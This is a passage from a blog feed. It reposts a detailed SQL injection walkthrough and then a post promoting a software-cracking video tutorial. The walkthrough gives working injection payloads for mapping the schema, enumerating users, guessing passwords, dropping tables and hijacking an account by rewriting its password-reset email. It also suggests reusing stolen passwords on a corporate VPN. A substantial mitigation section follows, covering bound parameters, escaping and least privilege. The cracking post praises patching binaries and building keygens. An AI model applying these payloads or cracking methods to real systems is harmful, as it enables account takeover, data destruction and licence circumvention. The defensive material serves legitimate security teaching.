Note, however, that we use the &lt;b&gt;AND&lt;/b&gt; conjunction instead of &lt;b&gt;OR&lt;/b&gt;: this is intentional. In the SQL schema mapping phase, we&#39;re not really concerned with guessing any particular email addresses, and we do not want random users inundated with &quot;here is your password&quot; emails from the application - this will surely raise suspicions to no good purpose. By using the &lt;b&gt;AND&lt;/b&gt; conjunction with an email address that couldn&#39;t ever be valid, we&#39;re sure that the query will always return zero rows and never generate a password-reminder email. &lt;br /&gt;
Submitting the above snippet indeed gave us the &quot;email address unknown&quot; response, so now we know that the email address is stored in a field &lt;b&gt;email&lt;/b&gt;. If this hadn&#39;t worked, we&#39;d have tried &lt;b&gt;email_address&lt;/b&gt; or &lt;b&gt;mail&lt;/b&gt; or the like. This process will involve quite a lot of guessing. &lt;br /&gt;
Next we&#39;ll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than &quot;server failure&quot; means we guessed the name correctly. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;b&gt;email&lt;/b&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND userid IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;As a result of this process, we found several valid field names: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt; email &lt;/li&gt;
&lt;li&gt; passwd &lt;/li&gt;
&lt;li&gt; login_id &lt;/li&gt;
&lt;li&gt; full_name &lt;/li&gt;
&lt;/ul&gt;There are certainly more (and a good source of clues is the names of the fields on &lt;b&gt;forms&lt;/b&gt;), but a bit of digging did not discover any. But we still don&#39;t know the name of the &lt;b&gt;table&lt;/b&gt; that these fields are found in - how to find out? &lt;br /&gt;
&lt;h1 id=&quot;findname&quot;&gt;Finding the table name&lt;/h1&gt;The application&#39;s built-in query already has the table name built into it, but we don&#39;t know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a &lt;b&gt;subselect&lt;/b&gt;. &lt;br /&gt;
A standalone query of &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT COUNT(*) FROM &lt;i&gt;tabname&lt;/i&gt;
&lt;/pre&gt;Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE &lt;b&gt;email&lt;/b&gt; = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND 1=(SELECT COUNT(*) FROM &lt;i&gt;tabname&lt;/i&gt;); --&lt;/span&gt;&#39;;
&lt;/pre&gt;We don&#39;t care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that &lt;b&gt;members&lt;/b&gt; was a valid table in the database. But is it the table used in &lt;b&gt;this&lt;/b&gt; query? For that we need yet another test using &lt;b&gt;table&lt;/b&gt;.&lt;b&gt;field&lt;/b&gt; notation: it only works for tables that are actually part of this query, not merely that the table exists. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; AND members.email IS NULL; --&lt;/span&gt;&#39;;
&lt;/pre&gt;When this returned &quot;Email unknown&quot;, it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim. &lt;br /&gt;
&lt;h1 id=&quot;finduser&quot;&gt;Finding some users&lt;/h1&gt;At this point we have a partial idea of the structure of the &lt;b&gt;members&lt;/b&gt; table, but we only know of one username: the random member who got our initial &quot;Here is your password&quot; email. Recall that we never received the message itself, only the address it was sent to. We&#39;d like to get some more names to work with, preferably those likely to have access to more data. &lt;br /&gt;
The first place to start, of course, is the company&#39;s website to find who is who: the &quot;About us&quot; or &quot;Contact&quot; pages often list who&#39;s running the place. Many of these contain email addresses, but even those that don&#39;t list them can give us some clues which allow us to find them with our tool. &lt;br /&gt;
The idea is to submit a query that uses the &lt;b&gt;LIKE&lt;/b&gt; clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the &quot;We sent your password&quot; message and email. &lt;b&gt;Warning&lt;/b&gt;: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy. &lt;br /&gt;
We can do the query on email name or full name (or presumably other information), each time putting in the &lt;b&gt;%&lt;/b&gt; wildcards that &lt;b&gt;LIKE&lt;/b&gt; supports: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39; OR full_name LIKE &#39;%Bob%&lt;/span&gt;&#39;;
&lt;/pre&gt;Keep in mind that even though there may be more than one &quot;Bob&quot;, we only get to see one of them: this suggests refining our &lt;b&gt;LIKE&lt;/b&gt; clause narrowly. &lt;br /&gt;
Ultimately, we may only need one valid email address to leverage our way in. &lt;br /&gt;
&lt;h1 id=&quot;pass&quot;&gt;Brute-force password guessing&lt;/h1&gt;One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected. &lt;br /&gt;
We&#39;ll instead do actual password testing in our snippet by including the email name and password directly. In our example, we&#39;ll use our victim, &lt;b&gt;bob@example.com&lt;/b&gt; and try multiple passwords. &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;bob@example.com&#39; AND passwd = &#39;hello123&lt;/span&gt;&#39;;
&lt;/pre&gt;This is clearly well-formed SQL, so we don&#39;t expect to see any server errors, and we&#39;ll know we found the password when we receive the &quot;your password has been mailed to you&quot; message. Our mark has now been tipped off, but we do have his password. &lt;br /&gt;
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it. &lt;br /&gt;
&lt;h1 id=&quot;noro&quot;&gt;The database isn&#39;t readonly&lt;/h1&gt;So far, we have done nothing but &lt;b&gt;query&lt;/b&gt; the database, and even though a &lt;b&gt;SELECT&lt;/b&gt; is readonly, that doesn&#39;t mean that &lt;b&gt;SQL&lt;/b&gt; is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query. &lt;br /&gt;
The most drastic example is: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;; DROP TABLE members; --&lt;/span&gt;&#39;;  -- Boom!
&lt;/pre&gt;The first part provides a dummy email address -- &lt;b&gt;&#39;x&#39;&lt;/b&gt; -- and we don&#39;t care what this query returns: we&#39;re just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire &lt;b&gt;members&lt;/b&gt; table, which really doesn&#39;t seem too sporting. &lt;br /&gt;
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising. &lt;br /&gt;
&lt;h1 id=&quot;addnew&quot;&gt;Adding a new member&lt;/h1&gt;Given that we know the partial structure of the &lt;b&gt;members&lt;/b&gt; table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we&#39;ll simply be able to login directly with our newly-inserted credentials. &lt;br /&gt;
This, not surprisingly, takes a bit more SQL, and we&#39;ve wrapped it over several lines for ease of presentation, but our part is still one contiguous string: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;;&lt;/span&gt;
        &lt;span class=&quot;snip&quot;&gt;INSERT INTO members (&#39;email&#39;,&#39;passwd&#39;,&#39;login_id&#39;,&#39;full_name&#39;) &lt;/span&gt;
        &lt;span class=&quot;snip&quot;&gt;VALUES (&#39;steve@unixwiz.net&#39;,&#39;hello&#39;,&#39;steve&#39;,&#39;Steve Friedl&#39;);--&lt;/span&gt;&#39;;
&lt;/pre&gt;Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack: &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it&#39;s much less convenient). &lt;/li&gt;
&lt;li&gt;The web application user might not have &lt;b&gt;INSERT&lt;/b&gt; permission on the &lt;b&gt;members&lt;/b&gt; table. &lt;/li&gt;
&lt;li&gt;There are undoubtedly other fields in the &lt;b&gt;members&lt;/b&gt; table, and some may &lt;i&gt;require&lt;/i&gt; initial values, causing the &lt;b&gt;INSERT&lt;/b&gt; to fail. &lt;/li&gt;
&lt;li&gt;Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn&#39;t provide values for. &lt;/li&gt;
&lt;li&gt;A valid &quot;member&quot; might require not only a record in the &lt;b&gt;members&lt;/b&gt; table, but associated information in other tables (say, &quot;accessrights&quot;), so adding to one table alone might not be sufficient. &lt;/li&gt;
&lt;/ol&gt;In the case at hand, we hit a roadblock on either #4 or #5 - we can&#39;t really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly. &lt;br /&gt;
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other &quot;obvious&quot; fields, it&#39;s very hard to imagine the bigger-picture organization of this application. &lt;br /&gt;
We ended up going down a different road. &lt;br /&gt;
&lt;h1 id=&quot;mail&quot;&gt;Mail me a password&lt;/h1&gt;We then realized that though we are not able to add a new record to the &lt;b&gt;members&lt;/b&gt; database, we can &lt;b&gt;modify&lt;/b&gt; an existing one, and this proved to be the approach that gained us entry. &lt;br /&gt;
From a previous step, we knew that &lt;b&gt;bob@example.com&lt;/b&gt; had an account on the system, and we used our SQL injection to update his database record with &lt;b&gt;our&lt;/b&gt; email address: &lt;br /&gt;
&lt;pre class=&quot;codeblock&quot;&gt;SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = &#39;&lt;span class=&quot;snip&quot;&gt;x&#39;;&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;UPDATE members&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;SET email = &#39;steve@unixwiz.net&#39;&lt;/span&gt;
      &lt;span class=&quot;snip&quot;&gt;WHERE email = &#39;bob@example.com&lt;/span&gt;&#39;;
&lt;/pre&gt;After running this, we of course received the &quot;we didn&#39;t know your email address&quot;, but this was expected due to the dummy email address provided. The &lt;b&gt;UPDATE&lt;/b&gt; wouldn&#39;t have registered with the application, so it executed quietly. &lt;br /&gt;
We then used the regular &quot;I lost my password&quot; link - with the updated email address - and a minute later received this email: &lt;br /&gt;
&lt;pre class=&quot;email&quot;&gt;From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello
&lt;/pre&gt;Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our &lt;b&gt;INSERT&lt;/b&gt; approach. &lt;br /&gt;
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It&#39;s a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it&#39;s clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access. &lt;br /&gt;
We had done a spot check on a few accounts without success, and we can&#39;t really know whether it&#39;s &quot;bad password&quot; or &quot;the Intranet account name differs from the Windows account name&quot;. But we think that automated tools could make some of this easier. &lt;br /&gt;
&lt;h1 id=&quot;other&quot;&gt;Other Approaches&lt;/h1&gt;In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We&#39;ll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive. &lt;br /&gt;
We are also aware that not all approaches work with all databases, and we can touch on some of them here. &lt;br /&gt;
&lt;dl class=&quot;defnlist&quot;&gt;&lt;dt&gt; Use xp_cmdshell &lt;/dt&gt;
&lt;dd&gt;Microsoft&#39;s SQL Server supports a stored procedure &lt;a href=&quot;http://msdn.microsoft.com/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp&quot;&gt;xp_cmdshell &lt;/a&gt; that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable. &lt;/dd&gt;&lt;dd&gt;What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to &lt;b&gt;xp_cmdshell&lt;/b&gt; is usually limited to administrative accounts, but it&#39;s possible to grant it to lesser users. &lt;/dd&gt;
&lt;dt&gt; Map out more database structure &lt;/dt&gt;
&lt;dd&gt;Though this particular application provided such a rich post-login environment that it didn&#39;t really seem necessary to dig further, in other more limited environments this may not have been sufficient. &lt;/dd&gt;&lt;dd&gt;Being able to systematically map out the available schema, including tables and their field structure, can&#39;t help but provide more avenues for compromise of the application. &lt;/dd&gt;&lt;dd&gt;One could probably gather more hints about the structure from other aspects of the website (e.g., is there a &quot;leave a comment&quot; page? Are there &quot;support forums&quot;?). Clearly, this is highly dependent on the application and it relies very much on making good guesses. &lt;/dd&gt;&lt;/dl&gt;&lt;h1 id=&quot;miti&quot;&gt;Mitigations&lt;/h1&gt;We believe that web application developers often simply do not think about &quot;surprise inputs&quot;, but security people do (including the bad guys), so there are three broad approaches that can be applied here. &lt;br /&gt;
&lt;dl class=&quot;defnlist&quot;&gt;&lt;dt&gt; Sanitize the input &lt;/dt&gt;
&lt;dd&gt;It&#39;s absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One&#39;s first idea is to strip out &quot;bad stuff&quot;, such as quotes or semicolons or escapes, but this is a misguided attempt. Though it&#39;s easy to point out &lt;b&gt;some&lt;/b&gt; dangerous characters, it&#39;s harder to point to &lt;b&gt;all&lt;/b&gt; of them. &lt;/dd&gt;&lt;dd&gt;The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all &quot;bad stuff&quot; are unlikely to be successful. &lt;/dd&gt;&lt;dd&gt;Instead, rather than &quot;remove known bad data&quot;, it&#39;s better to &quot;remove everything but known good data&quot;: this distinction is crucial.  Since - in our example - an email address can contain only these characters: &lt;/dd&gt;&lt;dd&gt;&lt;pre class=&quot;codeblock&quot;&gt;abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database. &lt;/dd&gt;&lt;dd&gt;&lt;blockquote&gt;&lt;small&gt;Sidebar on email addresses&lt;/small&gt;
&lt;hr /&gt;It&#39;s important to note here that email addresses &lt;i&gt;in particular&lt;/i&gt; are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one &quot;valid&quot;, and it&#39;s a shame to exclude a good email address because it contains a character you didn&#39;t think about.  The only real authority is &lt;a href=&quot;http://rfc.net/rfc2822.html&quot;&gt;RFC 2822&lt;/a&gt; (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what&#39;s allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes &quot;most&quot; email addresses.  Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those &quot;odd&quot; characters present.  
&lt;hr /&gt;&lt;/blockquote&gt;&lt;/dd&gt;&lt;dd&gt;Be aware that &quot;sanitizing the input&quot; doesn&#39;t mean merely &quot;remove the quotes&quot;, because even &quot;regular&quot; characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN): &lt;/dd&gt;&lt;dd&gt;&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM &lt;i&gt;table&lt;/i&gt;
 WHERE id = &lt;span class=&quot;snip&quot;&gt;23 OR 1=1&lt;/span&gt;;  -- Boom! Always matches!
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;In practice, however, this approach is highly limited because there are so few fields for which it&#39;s possible to outright exclude many of the dangerous characters. For &quot;dates&quot; or &quot;email addresses&quot; or &quot;integers&quot; it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations. &lt;/dd&gt;
&lt;dt&gt; Escape/Quotesafe the input &lt;/dt&gt;
&lt;dd&gt;Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a &quot;name&quot; field lest one wishes to exclude the likes of Bill &lt;b&gt;O&#39;Reilly&lt;/b&gt; from one&#39;s application: a quote is simply a valid character for this field. &lt;/dd&gt;&lt;dd&gt;One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes: &lt;/dd&gt;&lt;dd&gt;&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM customers
 WHERE name = &#39;&lt;span class=&quot;snip&quot;&gt;Bill O&#39;&#39;Reilly&lt;/span&gt;&#39;;  -- works OK
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits &lt;b&gt;\&#39;&lt;/b&gt; to escape a quote, so after input of &lt;span class=&quot;snip&quot;&gt;\&#39;; DROP TABLE users; --&lt;/span&gt; is &quot;protected&quot; by doubling the quotes, we get: &lt;/dd&gt;&lt;dd&gt;&lt;pre class=&quot;codeblock&quot;&gt;SELECT &lt;i&gt;fieldlist&lt;/i&gt;
  FROM customers
 WHERE name = &#39;&lt;span class=&quot;snip&quot;&gt;\&#39;&#39;; DROP TABLE users; --&lt;/span&gt;&#39;;  -- Boom!
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;The expression &lt;span class=&quot;snip&quot;&gt;&#39;\&#39;&#39;&lt;/span&gt; is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn&#39;t stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer. &lt;/dd&gt;&lt;dd&gt;Getting quotes right is &lt;b&gt;notoriously&lt;/b&gt; difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for &quot;string quoting&quot; and &quot;string parsing&quot;, it&#39;s much more likely that the process will be done properly and safely. &lt;/dd&gt;&lt;dd&gt;Some examples are the MySQL function &lt;b&gt;mysql_real_escape_string()&lt;/b&gt; and perl DBD method &lt;b&gt;$dbh-&amp;gt;quote($value)&lt;/b&gt;. &lt;/dd&gt;&lt;dd&gt;&lt;b&gt;&lt;i&gt;These methods must be used&lt;/i&gt;&lt;/b&gt;. &lt;/dd&gt;
&lt;dt&gt; Use bound parameters (the &lt;b&gt;PREPARE&lt;/b&gt; statement) &lt;/dt&gt;
&lt;dd&gt;Though quotesafing is a good mechanism, we&#39;re still in the area of &quot;considering user input as SQL&quot;, and a much better approach exists: &lt;b&gt;bound parameters&lt;/b&gt;, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it&#39;s compiled (&quot;prepared&quot;, in SQL parlance) into an internal form. &lt;/dd&gt;&lt;dd&gt;Later, this prepared query is &quot;executed&quot; with a list of parameters: &lt;/dd&gt;&lt;dd&gt;&lt;div class=&quot;blocklabel&quot;&gt;Example in perl&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;$sth = $dbh-&amp;gt;prepare(&quot;SELECT email, userid FROM members WHERE email = &lt;span class=&quot;snip&quot;&gt;?&lt;/span&gt;;&quot;);

$sth-&amp;gt;execute(&lt;span class=&quot;snip&quot;&gt;$email&lt;/span&gt;);
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;Thanks to Stefan Wagner, this demonstrates bound parameters in Java: &lt;/dd&gt;&lt;dd&gt;&lt;div class=&quot;blocklabel&quot;&gt;Insecure version&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;Statement s = connection.createStatement();
ResultSet rs = s.executeQuery(&quot;SELECT email FROM member WHERE name = &quot;
                             + &lt;span class=&quot;snip&quot;&gt;formField&lt;/span&gt;); // *boom*
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;&lt;div class=&quot;blocklabel&quot;&gt;Secure version&lt;/div&gt;&lt;pre class=&quot;codeblock&quot;&gt;PreparedStatement ps = connection.prepareStatement(
    &quot;SELECT email FROM member WHERE name = &lt;span class=&quot;snip&quot;&gt;?&lt;/span&gt;&quot;);
ps.setString(1, &lt;span class=&quot;snip&quot;&gt;formField&lt;/span&gt;);
ResultSet rs = ps.executeQuery();
&lt;/pre&gt;&lt;/dd&gt;&lt;dd&gt;Here, &lt;b&gt;$email&lt;/b&gt; is the data obtained from the user&#39;s form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it&#39;s &quot;just data&quot;. There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks. &lt;/dd&gt;&lt;dd&gt;There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed &lt;i&gt;once&lt;/i&gt;), but this is minor compared to the &lt;b&gt;enormous&lt;/b&gt; security benefits. This is probably the single most important step one can take to secure a web application. &lt;/dd&gt;
&lt;dt&gt; Limit database permissions and segregate users &lt;/dt&gt;
&lt;dd&gt;In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: &quot;log in&quot; and &quot;send me password&quot;. The web application ought to use a database connection with the most limited rights possible: query-only access to the &lt;b&gt;members&lt;/b&gt; table, and no access to any other table. &lt;/dd&gt;&lt;dd&gt;The effect here is that even a &quot;successful&quot; SQL injection attack is going to have much more limited success. Here, we&#39;d not have been able to do the &lt;b&gt;UPDATE&lt;/b&gt; request that ultimately granted us access, so we&#39;d have had to resort to other avenues. &lt;/dd&gt;&lt;dd&gt;Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights. &lt;/dd&gt;&lt;dd&gt;It should go almost without saying that &lt;b&gt;sa&lt;/b&gt; rights should &lt;i&gt;never&lt;/i&gt; be used for any web-based application. &lt;/dd&gt;
&lt;dt&gt; Use stored procedures for database access &lt;/dt&gt;
&lt;dd&gt;When the database server supports them, use stored procedures for performing access on the application&#39;s behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly). &lt;/dd&gt;&lt;dd&gt;By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the &quot;add new order&quot; procedure might reject that order if the customer were over his credit limit). &lt;/dd&gt;&lt;dd&gt;For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it&#39;s going to be more robust and easier to maintain. &lt;/dd&gt;&lt;dd&gt;&lt;b&gt;Note&lt;/b&gt;: it&#39;s always possible to write a stored procedure that itself constructs a query dynamically: this provides &lt;b&gt;no&lt;/b&gt; protection against SQL Injection - it&#39;s only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection. &lt;/dd&gt;
&lt;dt&gt; Isolate the webserver &lt;/dt&gt;
&lt;dd&gt;Even having taken all these mitigation steps, it&#39;s nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to &lt;b&gt;assume&lt;/b&gt; that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things. &lt;/dd&gt;&lt;dd&gt;For instance, putting the machine in a DMZ with extremely limited pinholes &quot;inside&quot; the network means that even getting complete control of the webserver doesn&#39;t automatically grant full access to everything else. This won&#39;t stop everything, of course, but it makes it a lot harder. &lt;/dd&gt;
&lt;dt&gt; Configure error reporting &lt;/dt&gt;
&lt;dd&gt;The default error reporting for some frameworks includes developer debugging information, and this &lt;b&gt;cannot&lt;/b&gt; be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved. &lt;/dd&gt;&lt;dd&gt;This information &lt;i&gt;is&lt;/i&gt; useful to developers, but it should be restricted - if possible - to just internal users. &lt;/dd&gt;&lt;/dl&gt;Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the &quot;S&quot; stands for &quot;Structured&quot;, not &quot;Standard&quot;). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network. &lt;br /&gt;
&lt;hr /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/749427249468138653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/learn-sql-queries.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/749427249468138653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/749427249468138653'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/learn-sql-queries.html' title='Learn SQL Queries'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAPekPTcC3oTwi67EvAe2e4S1A2x3bslqOJP8VNOEpgFe9SqL5iQrwqC_MbU9SxllGz11Ei4nwdMrU7FpAPtFkqL7BQQr-3Az_NWBfZ6QlMF9mXilxm8S3jKHrvhnv-rhcFYhadSNkUC4/s72-c/sqlinjection.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-8682668892417550461</id><published>2011-02-16T07:35:00.000-08:00</published><updated>2011-05-20T05:38:20.123-07:00</updated><title type='text'>Ollydbg Basics With Video</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h2 class=&quot;title icon&quot;&gt;Basic Tutorial Video on How to use Ollydbg and Peid to Crack &lt;/h2&gt;&lt;div class=&quot;content&quot;&gt;&lt;div id=&quot;post_message_1061&quot;&gt;&lt;blockquote class=&quot;postcontent restore &quot;&gt;Software Cracking is the art of breaking security protections in a  software. Generally software cracks are distributed in the form of  patches to the original software or keygen programs which generate  arbitrary key / serial combinations. A Cracker works his way through a  program by disassembling it and understanding the security protections  built into it. He then proceeds to alter the behavior of the program by  finding and changing (patching) the routines responsible for the  security mechanisms, in order to allow full unlimited access to the  program. Alternately, he can also reverse engineer the key / serial  comparison routines and write a keygen for the program. This allows  users to generate arbitrary valid keys / serials for the program.&lt;br /&gt;
&lt;br /&gt;
In this awesome video created by Spiffomatic64, we learn about the  basics of software cracking. Spiffomatic64 starts with a basic  introduction to the tools of the trade - Ollydbg and Peid. &lt;br /&gt;
&lt;br /&gt;
He talks about Ollydbg in detail:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;the screen organization, shortcuts&lt;/li&gt;
&lt;li&gt;how to run / pause programs&lt;/li&gt;
&lt;li&gt;setting / removing breakpoints&lt;/li&gt;
&lt;li&gt;how to inspect memory / code in a running program&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
He then uses a simple crackme &lt;b&gt;prolixe_keygenme1.zip&lt;/b&gt; to show how  software crackers work their way through a binary. He first verifies  using Peid that the program has not been compressed or packed and then  loads this program into Ollydbg, disassembles it and then proceeds to  find the place in the code responsible for the annoying alert message  shown in the beginning and then finally the place responsible for the  key validation checks. &lt;br /&gt;
&lt;br /&gt;
Once the code in these routines have been understood, he proceeds to  patch the binary to convert the crackme into a keygen. Very nicely done.  This video is a highly recommended watch for budding reverse engineers!&lt;br /&gt;
&lt;br /&gt;
I would recommend that users download the video pack and the crackme all  neatly provided in the link below and try the entire process  themselves. Thanks go out to Spiffomatic64 for this video.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Here is a screenshot of the cracking video in .mp4 &lt;a href=&quot;http://www.multiupload.com/SGPL3NTTU4&quot; target=&quot;_blank&quot;&gt;f&lt;/a&gt;ormat:&lt;/b&gt;&lt;blockquote&gt;&lt;a href=&quot;http://hotfile.com/dl/48005850/f97c6fa/Ollydebug_and_Peid_cracking_tutorial_video.rar.html&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://i46.tinypic.com/142v2gx.jpg&quot; style=&quot;max-width: 640px;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;/blockquote&gt;If the above image not shown just check the video(download it from given link below) &lt;br /&gt;
&lt;blockquote class=&quot;postcontent restore &quot;&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;a href=&quot;http://hotfile.com/dl/48005850/f97c6fa/Ollydebug_and_Peid_cracking_tutorial_video.rar.html&quot; target=&quot;_blank&quot;&gt;http://hotfile.com/dl/48005850/f97c6fa/Ollydebug_and_Peid_cracking_tutorial_video.rar.html&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;
